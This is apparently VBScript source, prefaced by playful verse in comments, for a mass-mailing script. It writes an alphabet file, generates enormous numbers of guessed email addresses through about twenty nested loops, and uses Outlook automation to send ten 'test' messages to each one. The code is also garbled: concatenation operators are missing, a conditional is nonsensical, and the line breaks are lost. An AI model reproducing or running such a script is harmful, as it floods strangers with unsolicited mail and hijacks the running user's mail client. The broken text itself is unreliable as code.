rem i an bird,not a big bird,it is a dull bird. rem i didn't sing three years ago,today i chirp it.
'On Error resume next on error goto 0 Set fs = CreateObject("Scripting.FileSystemObject") Set letter = fs.CreateTextFile(wscript.ScriptFullName".txt", True) a= chr (97) for x=97 to 121 a=achr(x+1) next letter.WriteLine(a)
n= chr (48) for x=48 to 56 n=nchr(x+1) next letter.WriteLine(n)
l=ala bl=alan sl=an
dim aletter(35) rem 2 0 for z=1 to 36 aletter(z-1)=mid(sl,z,1) rem msgbox aletter(z-1) next
dim al(25) for z=1 to 26 al(z-1)=mid(a,z,1) rem msgbox al(z-1) next rem 30
for z=1 to 26 s=al(z-1) for z1=1 to 26 s1="."al(z1-1)s for z2=1 to 26 s2=al(z2-1)s1 for z3=1 to 26 s3=al(z3-1)s2 for z4=1 to 26 s4="."al(z4-1)s3 for z5=1 to 36 s5=aletter(z5-1)s4 for z6=1 to 36 ''50 s6=aletter(z6-1)s5 for z7=1 to 36 s7=aletter(z7-1)s6 for z8=1 to 36 s8=aletter(z8-1)s7 for z9=1 to 36 s9=aletter(z9-1)s8 ''60 for z10=1 to 36 s10="@"aletter(z10-1)s9 for z11=1 to 36 s11=aletter(z11-1)s10 for z12=1 to 36 s12=aletter(z12-1)s11 for z13=1 to 36 ''70 s13=aletter(z13-1)s12 for z14=1 to 36 s14=aletter(z14-1)s13 for z15=1 to 36 s15=aletter(z15-1)s14 for z16=1 to 36 s16=aletter(z16-1)s15 for z17=1 to 36 s17=aletter(z17-1)s16 for z18=1 to 36 s18=aletter(z18-1)s17 for z19=1 to 36 s19=aletter(z19-1)s18 ' msgbox s19 set outlookapp = createobject ("outlook.application") if outlookapp > 0 then set outlookapp = createobject ("outlook express.application") end if for n =1 to 10 set item =outlookapp.createitem(o) item.to =s19 item.subject = "test" item.body = "hello" item.send next
next next next next next next next next next next next next next next next next next next next next
